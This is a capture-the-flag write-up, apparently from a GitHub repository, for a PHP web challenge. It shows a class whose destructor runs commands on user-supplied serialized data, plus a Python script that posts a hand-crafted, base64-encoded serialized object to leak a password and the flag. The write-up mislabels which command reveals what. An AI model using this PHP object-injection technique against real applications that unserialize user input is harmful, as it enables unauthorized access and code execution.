Skip to content

Latest commit

 

History

History

web_serialize

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

Serialize (Web)

This challenge deserves highlighting because it required absolutely no guessing.

We have to deal with the following PHP code:

<?php


class MagicCode {
    private $command;
    private $commandArgs;

    public function __construct($command, $commandArgs) {
        $this->command = $command;
        $this->commandArgs = $commandArgs;
    }

    function __wakeup() {
        foreach($this->commandArgs as $k => $v) {
            $this->commandArgs[$k] = $this->__clearArgs($v);
        }
    }

    function __clearArgs($v) {
        return trim($v);
    }

    function __die($text) {
        die(json_encode(array("text" => $text)));
    }

    function __destruct() {
        if (in_array($this->command, array("print", "showFlag", "showSource"))) {
            @call_user_func_array(array($this, "__" . $this->command), $this->commandArgs);
        } else {
            $this->__die("What do you do?");
        }
    }

    function __print() {
        global $PASSWORD;
        list($showPassword) = func_get_args();
        if ($showPassword == $this->__pack()) {
            $this->__die($PASSWORD);
        }
        $this->__die("Nothing to do. Just passing by.");
    }

    function __pack() {
        return pack("H*", "766676433466787856624046542574234161323453457431525177336325");
    }

    function __showFlag() {
        global $PASSWORD;
        global $FLAG;
        list($password) = func_get_args();
        if ($password === $PASSWORD) {
            $this->__die($FLAG);
        }
        $this->__die("Try again.");
    }

    function __showSource() {
        highlight_file(__FILE__);
    }
}

In the last line of code (that I somehow didn't copy), the POST data sent by the user is base64 decoded and unserialized.

It's obvious what to do here: we need to craft a MagicCode object. The __destruct() method will be called by the runtime, and we will get a limited RCE on the server. In fact, it's enough to change command variable to showFlag to get "password" and showSource to get the flag.

Crafting PHP serialized payloads is relatively easy because the serialization format is human readable and not very complicated. I crafted the following by hand (although in retrospect, I should've just used the code provided and serialize() function):

import requests

payload = '''O:9:"MagicCode":2:{s:18:"\x00MagicCode\x00command";s:5:"print";s:22:"\x00MagicCode\x00commandArgs";a:1:{i:0;s:30:"vfvC4fxxVb@FT%t#Aa24SEt1RQw3c%";}}'''

r = requests.post("https://magic-code.scs.ctf/", verify=False, data={"data": payload.encode('base64')})

print r.content

And this was enough to get the flag.